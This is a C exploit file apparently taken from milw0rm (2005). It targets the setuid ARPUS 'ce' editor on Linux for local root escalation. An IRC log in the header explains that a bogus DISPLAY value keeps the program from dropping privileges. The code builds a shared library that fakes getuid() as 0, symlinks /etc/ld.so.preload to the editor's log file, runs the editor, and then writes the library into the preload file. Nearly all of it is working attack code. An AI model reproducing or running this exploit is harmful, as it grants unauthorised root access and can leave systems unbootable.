75 lines
No EOL
2.6 KiB
C
75 lines
No EOL
2.6 KiB
C
/*
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* Copyright Kevin Finisterre - ripped from my perl_ex.c
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*
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* ** DISCLAIMER ** I am in no way responsible for your stupidity.
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* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
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*
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* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
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* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
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* ** WARNING ** have a boot disk ready incase some thing goes wrong.
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*
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* Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
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*
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* kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce
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* -rwsr-xr-x 1 root bin 630010 Sep 27 2004 /usr/bin/ce
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*
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* Tested against http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
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* and ce-0254-intel-pentium-linux-redhat73.tar.Z
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*
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* (16:34:04) kfin80: this program is tricky
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* (16:34:14) kfin80: it drops privs under certain conditions
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* (16:34:20) kfin80: it was fucking me up for a second. =]
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* (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a
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* (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
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* -rwxrwxrwx 1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
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* (16:36:16) kfin80: owned by ME
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* (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
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* kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
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* kfinisterre@kfinisterre01:~$ ce a a
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* ce: cannot connect to X server yamom (Success)
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* kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
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* -rwxrwxrwx 1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
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* (16:36:38) d4yj4y: hmmmmmm
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* (16:36:38) kfin80: owned by root
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* (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs.
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*
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*/
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#define PRELOAD "/etc/ld.so.preload"
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#include <stdio.h>
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#include <strings.h>
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int main(int *argc, char **argv)
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{
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FILE *getuid;
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if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
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printf("error opening file\n");
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exit(1);
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}
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fprintf(getuid, "int getuid(){return 0;}\n" );
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fclose(getuid);
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system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
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symlink(PRELOAD,"/tmp/ce_edit_log");
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umask(001); // I'm rw-rw-rw james bitch!
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putenv("DISPLAY=dmr0x!"); // GIMME ROOT BITCH!
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system("/usr/bin/ce");
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FILE *ld_so_preload;
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char preload[] = {
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"/tmp/getuid.so\n"
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};
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if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
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printf("error opening file\n");
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exit(1);
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}
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fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
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fclose(ld_so_preload);
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}
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// milw0rm.com [2005-05-01]
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